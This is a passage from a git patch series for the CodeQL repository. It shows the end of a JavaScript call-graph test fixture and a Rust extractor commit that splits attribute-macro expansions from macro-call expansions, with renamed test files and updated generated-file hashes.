BazExtented()); + +class Base { + constructor() { + /** calls:Base.read calls:Derived1.read calls:Derived2.read */ + this.read(); + } + /** name:Base.read */ + read() { } +} + +class Derived1 extends Base {} +/** name:Derived1.read */ +Derived1.prototype.read = function() {}; + +class Derived2 {} +Derived2.prototype = Object.create(Base.prototype); +/** name:Derived2.read */ +Derived2.prototype.read = function() {}; From a7a887c828f1c2f7cd507606e13feaf052ff97a1 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Tue, 29 Apr 2025 16:18:40 +0200 Subject: [PATCH 017/535] Rust: separate attribute macro and macro call expansions --- rust/extractor/src/generated/.generated.list | 2 +- rust/extractor/src/generated/top.rs | 10 ++- rust/extractor/src/translate/base.rs | 11 ++- rust/ql/.generated.list | 89 ++++++++++--------- rust/ql/.gitattributes | 35 ++++---- .../lib/codeql/rust/controlflow/CfgNodes.qll | 2 +- .../rust/controlflow/internal/CfgNodes.qll | 2 +- .../rust/controlflow/internal/Completion.qll | 2 +- .../internal/ControlFlowGraphImpl.qll | 4 +- .../internal/generated/CfgNodes.qll | 10 +++ rust/ql/lib/codeql/rust/elements/Item.qll | 2 +- .../ql/lib/codeql/rust/elements/MacroCall.qll | 1 + .../lib/codeql/rust/elements/MacroItems.qll | 10 ++- .../rust/elements/internal/AstNodeImpl.qll | 2 +- .../rust/elements/internal/MacroItemsImpl.qll | 10 ++- .../rust/elements/internal/generated/Item.qll | 15 ++-- .../elements/internal/generated/MacroCall.qll | 16 ++++ .../internal/generated/MacroItems.qll | 10 ++- .../internal/generated/ParentChild.qll | 16 +++- .../rust/elements/internal/generated/Raw.qll | 19 +++- rust/ql/lib/rust.dbscheme | 10 ++- .../rust.dbscheme | 10 ++- .../upgrade.properties | 4 +- .../attribute_macro_expansion/test.expected | 2 - .../attribute_macro_expansion/test.ql | 6 -- .../generated/.generated_tests.list | 2 +- .../extractor-tests/generated/Const/Const.ql | 18 ++-- ...Const_getAttributeMacroExpansion.expected} | 0 ...ql => Const_getAttributeMacroExpansion.ql} | 2 +- .../extractor-tests/generated/Enum/Enum.ql | 14 +-- ... Enum_getAttributeMacroExpansion.expected} | 0 ....ql => Enum_getAttributeMacroExpansion.ql} | 2 +- .../generated/ExternBlock/ExternBlock.ql | 15 ++-- ...Block_getAttributeMacroExpansion.expected} | 0 ...ExternBlock_getAttributeMacroExpansion.ql} | 2 +- .../generated/ExternCrate/ExternCrate.ql | 15 ++-- ...Crate_getAttributeMacroExpansion.expected} | 0 ...ExternCrate_getAttributeMacroExpansion.ql} | 2 +- .../generated/Function/Function.expected | 4 +- .../generated/Function/Function.ql | 16 ++-- ...ction_getAttributeMacroExpansion.expected} | 0 ...=> Function_getAttributeMacroExpansion.ql} | 2 +- .../extractor-tests/generated/Impl/Impl.ql | 16 ++-- ... Impl_getAttributeMacroExpansion.expected} | 0 ....ql => Impl_getAttributeMacroExpansion.ql} | 2 +- .../generated/MacroCall/MacroCall.expected | 2 +- .../generated/MacroCall/MacroCall.ql | 19 ++-- ...oCall_getAttributeMacroExpansion.expected} | 0 .../MacroCall_getAttributeMacroExpansion.ql | 7 ++ ... MacroCall_getMacroCallExpansion.expected} | 0 ....ql => MacroCall_getMacroCallExpansion.ql} | 2 +- .../generated/MacroDef/MacroDef.ql | 16 ++-- ...roDef_getAttributeMacroExpansion.expected} | 0 ...=> MacroDef_getAttributeMacroExpansion.ql} | 2 +- .../generated/MacroItems/gen_macro_items.rs | 10 ++- .../generated/MacroRules/MacroRules.ql | 15 ++-- ...Rules_getAttributeMacroExpansion.expected} | 0 ... MacroRules_getAttributeMacroExpansion.ql} | 2 +- .../generated/Module/Module.expected | 6 +- .../generated/Module/Module.ql | 15 ++-- ...odule_getAttributeMacroExpansion.expected} | 0 ...l => Module_getAttributeMacroExpansion.ql} | 2 +- .../generated/Static/Static.ql | 18 ++-- ...tatic_getAttributeMacroExpansion.expected} | 0 ...l => Static_getAttributeMacroExpansion.ql} | 2 +- .../generated/Struct/Struct.ql | 18 ++-- ...truct_getAttributeMacroExpansion.expected} | 0 ...l => Struct_getAttributeMacroExpansion.ql} | 2 +- .../generated/Trait/Trait.expected | 4 +- .../extractor-tests/generated/Trait/Trait.ql | 22 +++-- ...Trait_getAttributeMacroExpansion.expected} | 0 ...ql => Trait_getAttributeMacroExpansion.ql} | 2 +- .../generated/TraitAlias/TraitAlias.ql | 18 ++-- ...Alias_getAttributeMacroExpansion.expected} | 0 ... TraitAlias_getAttributeMacroExpansion.ql} | 2 +- .../generated/TypeAlias/TypeAlias.expected | 4 +- .../generated/TypeAlias/TypeAlias.ql | 21 +++-- ...Alias_getAttributeMacroExpansion.expected} | 0 ...> TypeAlias_getAttributeMacroExpansion.ql} | 2 +- .../extractor-tests/generated/Union/Union.ql | 18 ++-- ...Union_getAttributeMacroExpansion.expected} | 0 ...ql => Union_getAttributeMacroExpansion.ql} | 2 +- .../test/extractor-tests/generated/Use/Use.ql | 12 ++- .../Use_getAttributeMacroExpansion.expected | 0 ...d.ql => Use_getAttributeMacroExpansion.ql} | 2 +- .../macro_expansion.rs} | 0 .../options.yml | 0 .../macro_expansion/test.expected | 2 + .../extractor-tests/macro_expansion/test.ql | 6 ++ rust/schema/annotations.py | 19 ++-- 90 files changed, 442 insertions(+), 244 deletions(-) delete mode 100644 rust/ql/test/extractor-tests/attribute_macro_expansion/test.expected delete mode 100644 rust/ql/test/extractor-tests/attribute_macro_expansion/test.ql rename rust/ql/test/extractor-tests/generated/Const/{Const_getExpanded.expected => Const_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/Const/{Const_getExpanded.ql => Const_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/Enum/{Enum_getExpanded.expected => Enum_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/Enum/{Enum_getExpanded.ql => Enum_getAttributeMacroExpansion.ql} (76%) rename rust/ql/test/extractor-tests/generated/ExternBlock/{ExternBlock_getExpanded.expected => ExternBlock_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/ExternBlock/{ExternBlock_getExpanded.ql => ExternBlock_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/ExternCrate/{ExternCrate_getExpanded.expected => ExternCrate_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/ExternCrate/{ExternCrate_getExpanded.ql => ExternCrate_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/Function/{Function_getExpanded.expected => Function_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/Function/{Function_getExpanded.ql => Function_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/Impl/{Impl_getExpanded.expected => Impl_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/Impl/{Impl_getExpanded.ql => Impl_getAttributeMacroExpansion.ql} (76%) rename rust/ql/test/extractor-tests/generated/{MacroDef/MacroDef_getExpanded.expected => MacroCall/MacroCall_getAttributeMacroExpansion.expected} (100%) create mode 100644 rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.ql rename rust/ql/test/extractor-tests/generated/MacroCall/{MacroCall_getExpanded.expected => MacroCall_getMacroCallExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/MacroCall/{MacroCall_getExpanded.ql => MacroCall_getMacroCallExpansion.ql} (79%) rename rust/ql/test/extractor-tests/generated/{MacroRules/MacroRules_getExpanded.expected => MacroDef/MacroDef_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/MacroDef/{MacroDef_getExpanded.ql => MacroDef_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/{Module/Module_getExpanded.expected => MacroRules/MacroRules_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/MacroRules/{MacroRules_getExpanded.ql => MacroRules_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/{Static/Static_getExpanded.expected => Module/Module_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/Module/{Module_getExpanded.ql => Module_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/{Struct/Struct_getExpanded.expected => Static/Static_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/Static/{Static_getExpanded.ql => Static_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/{Trait/Trait_getExpanded.expected => Struct/Struct_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/Struct/{Struct_getExpanded.ql => Struct_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/{TraitAlias/TraitAlias_getExpanded.expected => Trait/Trait_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/Trait/{Trait_getExpanded.ql => Trait_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/{TypeAlias/TypeAlias_getExpanded.expected => TraitAlias/TraitAlias_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/TraitAlias/{TraitAlias_getExpanded.ql => TraitAlias_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/{Union/Union_getExpanded.expected => TypeAlias/TypeAlias_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/TypeAlias/{TypeAlias_getExpanded.ql => TypeAlias_getAttributeMacroExpansion.ql} (77%) rename rust/ql/test/extractor-tests/generated/{Use/Use_getExpanded.expected => Union/Union_getAttributeMacroExpansion.expected} (100%) rename rust/ql/test/extractor-tests/generated/Union/{Union_getExpanded.ql => Union_getAttributeMacroExpansion.ql} (77%) create mode 100644 rust/ql/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.expected rename rust/ql/test/extractor-tests/generated/Use/{Use_getExpanded.ql => Use_getAttributeMacroExpansion.ql} (76%) rename rust/ql/test/extractor-tests/{attribute_macro_expansion/attr_macro_expansion.rs => macro_expansion/macro_expansion.rs} (100%) rename rust/ql/test/extractor-tests/{attribute_macro_expansion => macro_expansion}/options.yml (100%) create mode 100644 rust/ql/test/extractor-tests/macro_expansion/test.expected create mode 100644 rust/ql/test/extractor-tests/macro_expansion/test.ql diff --git a/rust/extractor/src/generated/.generated.list b/rust/extractor/src/generated/.generated.list index 4888deae33cb..fce8b6e8b666 100644 --- a/rust/extractor/src/generated/.generated.list +++ b/rust/extractor/src/generated/.generated.list @@ -1,2 +1,2 @@ mod.rs 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 -top.rs af7f3cf5d0941e7dffd6fa4ce75ac432f433a5367a408fb944176dc1a932883b af7f3cf5d0941e7dffd6fa4ce75ac432f433a5367a408fb944176dc1a932883b +top.rs 7fa95af0d85ffc251cfcd543129baa8cb0dde9df310194f3aff1868dd66417f4 7fa95af0d85ffc251cfcd543129baa8cb0dde9df310194f3aff1868dd66417f4 diff --git a/rust/extractor/src/generated/top.rs b/rust/extractor/src/generated/top.rs index d1a7068848f6..2a63514d1eb0 100644 --- a/rust/extractor/src/generated/top.rs +++ b/rust/extractor/src/generated/top.rs @@ -5819,8 +5819,8 @@ pub struct Item { } impl Item { - pub fn emit_expanded(id: trap::Label, value: trap::Label, out: &mut trap::Writer) { - out.add_tuple("item_expandeds", vec![id.into(), value.into()]); + pub fn emit_attribute_macro_expansion(id: trap::Label, value: trap::Label, out: &mut trap::Writer) { + out.add_tuple("item_attribute_macro_expansions", vec![id.into(), value.into()]); } } @@ -9771,6 +9771,12 @@ impl trap::TrapEntry for MacroCall { } } +impl MacroCall { + pub fn emit_macro_call_expansion(id: trap::Label, value: trap::Label, out: &mut trap::Writer) { + out.add_tuple("macro_call_macro_call_expansions", vec![id.into(), value.into()]); + } +} + impl trap::TrapClass for MacroCall { fn class_name() -> &'static str { "MacroCall" } } diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index a8e8bc0c890c..527f4e9497a8 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -328,7 +328,11 @@ impl<'a> Translator<'a> { let expand_to = ra_ap_hir_expand::ExpandTo::from_call_site(mcall); let kind = expanded.kind(); if let Some(value) = self.emit_expanded_as(expand_to, expanded) { - generated::Item::emit_expanded(label.into(), value, &mut self.trap.writer); + generated::MacroCall::emit_macro_call_expansion( + label, + value, + &mut self.trap.writer, + ); } else { let range = self.text_range_for_node(mcall); self.emit_parse_error(mcall, &SyntaxError::new( @@ -655,8 +659,9 @@ impl<'a> Translator<'a> { } = semantics.expand_attr_macro(node)?; // TODO emit err? self.emit_macro_expansion_parse_errors(node, &expanded); - let expanded = self.emit_expanded_as(ExpandTo::Items, expanded)?; - generated::Item::emit_expanded(label, expanded, &mut self.trap.writer); + let macro_items = ast::MacroItems::cast(expanded)?; + let expanded = self.emit_macro_items(¯o_items)?; + generated::Item::emit_attribute_macro_expansion(label, expanded, &mut self.trap.writer); Some(()) })(); } diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index fd7c9c84bf63..d9ddca8bdd08 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,4 +1,4 @@ -lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 9452207ba069c4174b9e2903614380c5fb09dccd46e612d6c68ed4305b26ac70 3dbc42e9091ea12456014425df347230471da3afd5e811136a9bc58ba6e5880a +lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 016c66674aa4739c82ee92123c7ec2f1247537f4bba3b08a833714fc4a0f998f 8be64927ddce9f98f294a4243edccb1bb8f1b7b8867febcbe498e98d8083e5b4 lib/codeql/rust/elements/Abi.qll 4c973d28b6d628f5959d1f1cc793704572fd0acaae9a97dfce82ff9d73f73476 250f68350180af080f904cd34cb2af481c5c688dc93edf7365fd0ae99855e893 lib/codeql/rust/elements/Addressable.qll 13011bfd2e1556694c3d440cc34af8527da4df49ad92b62f2939d3699ff2cea5 ddb25935f7553a1a384b1abe2e4b4fa90ab50b952dadec32fd867afcb054f4be lib/codeql/rust/elements/ArgList.qll 661f5100f5d3ef8351452d9058b663a2a5c720eea8cf11bedd628969741486a2 28e424aac01a90fb58cd6f9f83c7e4cf379eea39e636bc0ba07efc818be71c71 @@ -74,7 +74,7 @@ lib/codeql/rust/elements/Impl.qll 6407348d86e73cdb68e414f647260cb82cb90bd40860ba lib/codeql/rust/elements/ImplTraitTypeRepr.qll e2d5a3ade0a9eb7dcb7eec229a235581fe6f293d1cb66b1036f6917c01dff981 49367cada57d1873c9c9d2b752ee6191943a23724059b2674c2d7f85497cff97 lib/codeql/rust/elements/IndexExpr.qll 0e2e9f018d06ae72be0fc4ddbc019a9aacd8a06f42b4c4431760bd149e7f2290 2bcfd557abd53a48e48de7915c4f2089107c62dfb3e732a904848248dfd3727b lib/codeql/rust/elements/InferTypeRepr.qll 0a7b3e92512b2b167a8e04d650e12700dbbb8b646b10694056d622ba2501d299 e5e67b7c1124f430750f186da4642e646badcdcf66490dd328af3e64ac8da9e9 -lib/codeql/rust/elements/Item.qll b1c41dcdd51fc94248abd52e838d9ca4d6f8c41f22f7bd1fa2e357b99d237b48 b05416c85d9f2ee67dbf25d2b900c270524b626f0b389fe0c9b90543fd05d8e1 +lib/codeql/rust/elements/Item.qll e4058f50dda638385dcddfc290b52e32158fe3099958ef598ba618195a9e88bb fe1ea393641adb3576ef269ec63bc62edc6fa3d55737e422f636b6e9abfa1f2c lib/codeql/rust/elements/ItemList.qll c33e46a9ee45ccb194a0fe5b30a6ad3bcecb0f51486c94e0191a943710a17a7d 5a69c4e7712b4529681c4406d23dc1b6b9e5b3c03552688c55addab271912ed5 lib/codeql/rust/elements/Label.qll a31d41db351af7f99a55b26cdbbc7f13b4e96b660a74e2f1cc90c17ee8df8d73 689f87cb056c8a2aefe1a0bfc2486a32feb44eb3175803c61961a6aeee53d66e lib/codeql/rust/elements/LabelableExpr.qll 598be487cd051b004ab95cbbc3029100069dc9955851c492029d80f230e56f0d 92c49b3cfdaba07982f950e18a8d62dae4e96f5d9ae0d7d2f4292628361f0ddc @@ -89,10 +89,10 @@ lib/codeql/rust/elements/LiteralPat.qll daffb5f380a47543669c8cc92628b0e0de478c3a lib/codeql/rust/elements/Locatable.qll 2855efa4a469b54e0ca85daa89309a8b991cded6f3f10db361010831ba1e11d3 00c3406d14603f90abea11bf074eaf2c0b623a30e29cf6afc3a247cb58b92f0f lib/codeql/rust/elements/LoopExpr.qll ee171177650fa23eef102a9580765f4b6073a1cc41bab1ec31ad4f84ffe6c2c9 bfcf0cca4dc944270d9748a202829a38c64dfae167c0d3a4202788ceb9daf5f6 lib/codeql/rust/elements/LoopingExpr.qll 7ad7d4bbfd05adc0bb9b4ca90ff3377b8298121ca5360ffb45d5a7a1e20fe37a 964168b2045ee9bad827bba53f10a64d649b3513f2d1e3c17a1b1f11d0fc7f3a -lib/codeql/rust/elements/MacroCall.qll 16933db15c6c0dbb717ef442f751ad8f63c444f36a12f8d56b8a05a3e5f71d1b ac05cbf50e4b06f39f58817cddbeac6f804c2d1e4f60956a960d63d495e7183d +lib/codeql/rust/elements/MacroCall.qll a39a11d387355f59af3007dcbab3282e2b9e3289c1f8f4c6b96154ddb802f8c3 88d4575e462af2aa780219ba1338a790547fdfc1d267c4b84f1b929f4bc08d05 lib/codeql/rust/elements/MacroDef.qll acb39275a1a3257084314a46ad4d8477946130f57e401c70c5949ad6aafc5c5f 6a8a8db12a3ec345fede51ca36e8c6acbdce58c5144388bb94f0706416fa152a lib/codeql/rust/elements/MacroExpr.qll ea9fed13f610bab1a2c4541c994510e0cb806530b60beef0d0c36b23e3b620f0 ad11a6bbd3a229ad97a16049cc6b0f3c8740f9f75ea61bbf4eebb072db9b12d2 -lib/codeql/rust/elements/MacroItems.qll 00a5d41f7bb836d952abbd9382e42f72a9d81e65646a15a460b35ccd07a866c6 00efdb4d701b5599d76096f740da9ec157804865267b7e29bc2a214cbf03763e +lib/codeql/rust/elements/MacroItems.qll f2d80ff23634ac6bc3e96e8d73154587f9d24edb56654b5c0ae426124d2709ea f794f751b77fc50d7cc3069c93c22dd3a479182edce15c1b22c8da31d2e30a12 lib/codeql/rust/elements/MacroPat.qll dbf193b4fb544ac0b5a7dcfc31a6652de7239b6e643ff15b05868b2c142e940c 19b45c0a1eb1198e450c05d564b5d4aa0d6da29e7db84b9521eadf901e20a932 lib/codeql/rust/elements/MacroRules.qll a94535506798077043b9c1470992ac4310bf67bcce5f722080886d1b3e6d90d1 bd8e08a7171991abc85100b45267631e66d1b332caf1e5882cd17caee5cf18a3 lib/codeql/rust/elements/MacroStmts.qll 6e9a1f90231cb72b27d3ff9479e399a9fba4abd0872a5005ab2fac45d5ca9be0 d6ca3a8254fc45794a93c451a3305c9b4be033a467ad72158d40d6f675a377a0 @@ -316,7 +316,7 @@ lib/codeql/rust/elements/internal/MacroDefImpl.qll f26e787ffd43e8cb079db01eba044 lib/codeql/rust/elements/internal/MacroExprConstructor.qll b12edb21ea189a1b28d96309c69c3d08e08837621af22edd67ff9416c097d2df d35bc98e7b7b5451930214c0d93dce33a2c7b5b74f36bf99f113f53db1f19c14 lib/codeql/rust/elements/internal/MacroExprImpl.qll 92dd9f658a85ae407e055f090385f451084de59190d8a00c7e1fba453c3eced4 89d544634fecdbead2ff06a26fc8132e127dab07f38b9322fa14dc55657b9f1a lib/codeql/rust/elements/internal/MacroItemsConstructor.qll 8e9ab7ec1e0f50a22605d4e993f99a85ca8059fbb506d67bc8f5a281af367b05 2602f9db31ea0c48192c3dde3bb5625a8ed1cae4cd3408729b9e09318d5bd071 -lib/codeql/rust/elements/internal/MacroItemsImpl.qll 76fd50a1f27336e9efc6d3f73ef4d724f19627cadbaa805d1e14d2cfa4f19899 40c0e512090050b39b69128730f4f4581f51ffd3c687fb52913617bd70a144e9 +lib/codeql/rust/elements/internal/MacroItemsImpl.qll f89f46b578f27241e055acf56e8b4495da042ad37fb3e091f606413d3ac18e14 12e9f6d7196871fb3f0d53cccf19869dc44f623b4888a439a7c213dbe1e439be lib/codeql/rust/elements/internal/MacroPatConstructor.qll 24744c1bbe21c1d249a04205fb09795ae38ed106ba1423e86ccbc5e62359eaa2 4fac3f731a1ffd87c1230d561c5236bd28dcde0d1ce0dcd7d7a84ba393669d4a lib/codeql/rust/elements/internal/MacroPatImpl.qll 7470e2d88c38c7300a64986f058ba92bb22b4945438e2e0e268f180c4f267b71 c1507df74fc4c92887f3e0a4f857f54b61f174ffae5b1af6fb70f466175d658b lib/codeql/rust/elements/internal/MacroRulesConstructor.qll dc04726ad59915ec980501c4cd3b3d2ad774f454ddbf138ff5808eba6bd63dea 8d6bf20feb850c47d1176237027ef131f18c5cbb095f6ab8b3ec58cea9bce856 @@ -536,7 +536,7 @@ lib/codeql/rust/elements/internal/generated/Impl.qll 863281820a933a86e6890e31a25 lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll a1bbebe97a0421f02d2f2ee6c67c7d9107f897b9ba535ec2652bbd27c35d61df ba1f404a5d39cf560e322294194285302fe84074b173e049333fb7f4e5c8b278 lib/codeql/rust/elements/internal/generated/IndexExpr.qll cf951fc40f6690e966b4dc78fa9a6221aa5c6cade44759dcb52254f799292d11 1572e71918cc4e0b7e028331b6d98c9db23100a3646cd3874d1915e06ab6211d lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll dab311562be68a2fcbbe29956b0c3fc66d58348658b734e59f7d080c820093ae ca099ecf9803d3c03b183e4ba19f998e24c881c86027b25037914884ce3de20e -lib/codeql/rust/elements/internal/generated/Item.qll 24f388cf0d9a47b38b6cfb93bbe92b9f0cbd0b05e9aa0e6adc1d8056b2cd2f57 66a14e6ff2190e8eebf879b02d0a9a38467e293d6be60685a08542ca1fc34803 +lib/codeql/rust/elements/internal/generated/Item.qll 159de50e79228ed910c8b6d7755a6bde42bbf0a47491caffa77b9d8e0503fa88 e016c2e77d2d911048b31aeac62df1cce1c14b1a86449159638a2ca99b1cfa01 lib/codeql/rust/elements/internal/generated/ItemList.qll 73c8398a96d4caa47a2dc114d76c657bd3fcc59e4c63cb397ffac4a85b8cf8ab 540a13ca68d414e3727c3d53c6b1cc97687994d572bc74b3df99ecc8b7d8e791 lib/codeql/rust/elements/internal/generated/Label.qll 6630fe16e9d2de6c759ff2684f5b9950bc8566a1525c835c131ebb26f3eea63e 671143775e811fd88ec90961837a6c0ee4db96e54f42efd80c5ae2571661f108 lib/codeql/rust/elements/internal/generated/LabelableExpr.qll 896fd165b438b60d7169e8f30fa2a94946490c4d284e1bbadfec4253b909ee6c 5c6b029ea0b22cf096df2b15fe6f9384ad3e65b50b253cae7f19a2e5ffb04a58 @@ -551,10 +551,10 @@ lib/codeql/rust/elements/internal/generated/LiteralPat.qll f36b09cf39330019c111e lib/codeql/rust/elements/internal/generated/Locatable.qll c897dc1bdd4dfcb6ded83a4a93332ca3d8f421bae02493ea2a0555023071775e b32d242f8c9480dc9b53c1e13a5cb8dcfce575b0373991c082c1db460a3e37b8 lib/codeql/rust/elements/internal/generated/LoopExpr.qll db6bc87e795c9852426ec661fa2c2c54106805897408b43a67f5b82fb4657afd 1492866ccf8213469be85bbdbcae0142f4e2a39df305d4c0d664229ecd1ebdb9 lib/codeql/rust/elements/internal/generated/LoopingExpr.qll 0792c38d84b8c68114da2bbdfef32ef803b696cb0fd06e10e101756d5c46976c 111fe961fad512722006323c3f2a075fddf59bd3eb5c7afc349835fcec8eb102 -lib/codeql/rust/elements/internal/generated/MacroCall.qll 8b49d44e6aeac26dc2fc4b9ba03c482c65ebf0cba089d16f9d65e784e48ccbb0 9ecf6e278007adcbdc42ed1c10e7b1c0652b6c64738b780d256c9326afa3b393 +lib/codeql/rust/elements/internal/generated/MacroCall.qll 34845d451a0f2119f8fa096e882e3bb515f9d31a3364e17c3ea3e42c61307b50 f7bb4982ccb2e5d3a9c80e7cfc742620959de06a2446baf96dd002312b575bd6 lib/codeql/rust/elements/internal/generated/MacroDef.qll e9b3f07ba41aa12a8e0bd6ec1437b26a6c363065ce134b6d059478e96c2273a6 87470dea99da1a6afb3a19565291f9382e851ba864b50a995ac6f29589efbd70 lib/codeql/rust/elements/internal/generated/MacroExpr.qll 03a1daa41866f51e479ac20f51f8406d04e9946b24f3875e3cf75a6b172c3d35 1ae8ca0ee96bd2be32575d87c07cc999a6ff7770151b66c0e3406f9454153786 -lib/codeql/rust/elements/internal/generated/MacroItems.qll 894890f61e118b3727d03ca813ae7220a15e45195f2d1d059cb1bba6802128c8 db3854b347f8782a3ec9f9a1439da822727b66f0bd33727383184ab65dbf29ac +lib/codeql/rust/elements/internal/generated/MacroItems.qll bf10b946e9addb8dd7cef032ebc4480492ab3f9625edbabe69f41dcb81d448fe f6788fe1022e1d699056111d47e0f815eb1fa2826c3b6a6b43c0216d82d3904b lib/codeql/rust/elements/internal/generated/MacroPat.qll 26bc55459a66359ad83ed7b25284a25cdbd48a868fd1bbf7e23e18b449395c43 f16ede334becba951873e585c52a3a9873c9251e3dab9a3c1a1681f632f2079f lib/codeql/rust/elements/internal/generated/MacroRules.qll 4fbd94f22b5ee0f3e5aaae39c2b9a5e9b7bf878a1017811ca589942f6de92843 49fb69543ee867bae196febea6918e621f335afdf4d3ccbf219965b37c7537b1 lib/codeql/rust/elements/internal/generated/MacroStmts.qll cb4f3c2721a4d0c8522e51f567c675f4fc95f39bac8a2bd97e125d5553515ad2 09b5a739ccee75e6c556b34ecd6f78c7dc799029d9bc7df2e6169098d24f0ccd @@ -579,7 +579,7 @@ lib/codeql/rust/elements/internal/generated/ParamList.qll c808c9d84dd7800573832b lib/codeql/rust/elements/internal/generated/ParenExpr.qll bc0731505bfe88516205ec360582a4222d2681d11342c93e15258590ddee82f2 d4bd6e0c80cf1d63746c88d4bcb3a01d4c75732e5da09e3ebd9437ced227fb60 lib/codeql/rust/elements/internal/generated/ParenPat.qll 4f168ef5d5bb87a903251cc31b2e44a759b099ec69c90af31783fbb15778c940 0e34f94a45a13396fd57d94c245dc64d1adde2ab0e22b56946f7e94c04e297fc lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll 40ab5c592e7699c621787793743e33988de71ff42ca27599f5ab3ddb70e3f7d8 12c0a6eed2202ee3e892f61da3b3ce77ac3190854cdf3097e8d2be98aa3cb91d -lib/codeql/rust/elements/internal/generated/ParentChild.qll b9fe4919578ae4889e6993df712b685da3dc2d6559b2a2b34a466c604623feee 306fb39ad5d3877c8afcce14aa6be67ff099b334279bd0ce6b2012719a1e812a +lib/codeql/rust/elements/internal/generated/ParentChild.qll 23f333104e9ed2eef07f86de0d122b31f61e1c37923827c95fe2848ae14ec5d7 74d4d3c028110ea1491ebc2a707326b44e273a11c676708e46ada0a5bfc51fe9 lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll c5fa328ea60d3a3333d7c7bb3480969c1873166c7ac8ebb9d0afad7a8099d1a8 2dbbb6200d96f7db7dea4a55bdeab8d67b14d39a43e0bd54ada019f7e466f163 lib/codeql/rust/elements/internal/generated/Pat.qll 3605ac062be2f294ee73336e9669027b8b655f4ad55660e1eab35266275154ee 7f9400db2884d336dd1d21df2a8093759c2a110be9bf6482ce8e80ae0fd74ed4 lib/codeql/rust/elements/internal/generated/Path.qll 9b12afb46fc5a9ad3a811b05472621bbecccb900c47504feb7f29d96b28421ca bcacbffc36fb3e0c9b26523b5963af0ffa9fd6b19f00a2a31bdb2316071546bd @@ -594,7 +594,7 @@ lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 51d1e9e683fc79dddbff lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll 6cfbf74f0635ce379cce096cdfe70c33b74c7e3a35d2e3af2e93bc06d374efee 5b20172d0662bdbcca737e94ee6ceefc58503898b9584bef372720fea0be2671 +lib/codeql/rust/elements/internal/generated/Raw.qll 03ebbfdedbc03ab7b1363cd0c806afca26c6f020a0d6d97f2622048e011c12a8 d60479d4739c53c53c63d7be15fd8ce6bf212e80ddda6746534971d867dfed1e lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll 3d8c0bd296d33b91a81633f697a43269a6538df06d277262d3990d3f6880ef57 13680f39e89bcd8299c218aba396f3deec804597e6f7cb7d4a7e7c748b6faa77 @@ -736,11 +736,11 @@ test/extractor-tests/generated/ClosureExpr/ClosureExpr_getClosureBinder.ql cbfcf 